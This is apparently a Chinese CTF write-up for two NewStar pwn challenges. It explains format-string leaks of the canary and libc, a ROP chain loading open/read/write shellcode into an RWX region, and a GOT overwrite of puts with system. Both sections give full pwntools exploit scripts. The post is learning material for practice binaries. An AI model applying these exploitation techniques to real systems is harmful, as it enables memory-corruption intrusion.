本文最后更新于 2024年10月23日 晚上
NewStar-WEEK3
ezorw
最近作业多,事务繁忙,好久没打题了,继续看看新生赛最新一周放出来的题。主打一个复健,不过近来的新生赛进度都好快。
开了NX和canary

利用格式化字符串泄露出canary,然后因为题目给了libc文件,又提示是rop,本来打算用ret2libc泄露libc基地址,结果发现该程序中居然没有可以用的pop链。。Σ(っ °Д °;)っ
怎么办呢,经过思考后,突然想到,printf前的read给了那么大,还可以输出别的啊,然后就去gdb里看,发现有个__libc_start_main+123。好好好,泄露出它来,然后就有libc基地址了,可以用libc里的pop。
主程序中的read结束后就可以再调用一个read,往mmap那个权限全开的地方注入shellcode的orw(因为开了沙箱)
结果–本地打通后,发现远程打不通。。
为什么呢:刚开始泄露的libc是本地的libc,偏移不一样。。。忘了这茬了。
好,改文件的libc。
完毕。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import* context(log_level='debug',arch='amd64',os='linux') p=process('./ezorw')
sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
shell_addr = 0x66660000
sd('%11$paaa%33$p') rl() canary = int(p.recv(18),16)
rc(3) libc_main_addr = int(rc(14),16) libc_base = libc_main_addr + 0x7ffff7c00000 - 0x7ffff7c29e40 print(hex(libc_base)) read_plt = 0x401130
libc = ELF('/home/kali/Desktop/libc.so.6')
pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base +0x11f497 '''
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = libc_base + 0x27725 pop_rsi = libc_base + 0x028ed9 pop_rdx = libc_base + 0xfdd4d
''' code=shellcraft.open('flag')+shellcraft.read(3,'rsp',0x100)+shellcraft.write(1,'rsp',0x100) code = asm(code) print(len(code))
payload = b"A"*(0x30-0x8)+p64(canary)*2+p64(pop_rsi)+p64(shell_addr)+p64(pop_rdx_r12)+p64(0x30)*2
payload +=p64(read_plt)+p64(shell_addr)+b'A'*0x90+(code) print(hex(len(payload))) sd(payload)
p.interactive()
|
putsorsys

保护:NX和canary,以及partial relro(证明可改got表对应的值)
思路:格式化字符串泄露libc,然后用system替换掉puts_got。(其实也可以泄露canary,然后栈溢出打ret2libc)
注意:运用格式化字符串的时候要小心\x00是它的结束标志。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import* context(log_level='debug',arch='amd64',os='linux')
p=remote('node4.buuoj.cn',25885) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
puts_got = 0x404018 sl('1') payload = b'%9$saaaa'+p64(puts_got)
sd(payload) puts_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
libc = ELF('/home/kali/Desktop/libc.so.6') libc_base = puts_addr - libc.sym['puts'] system_addr = libc_base +libc.sym['system'] sl(b'1') payload = fmtstr_payload(8,{puts_got:system_addr})
sd(payload)
p.interactive()
|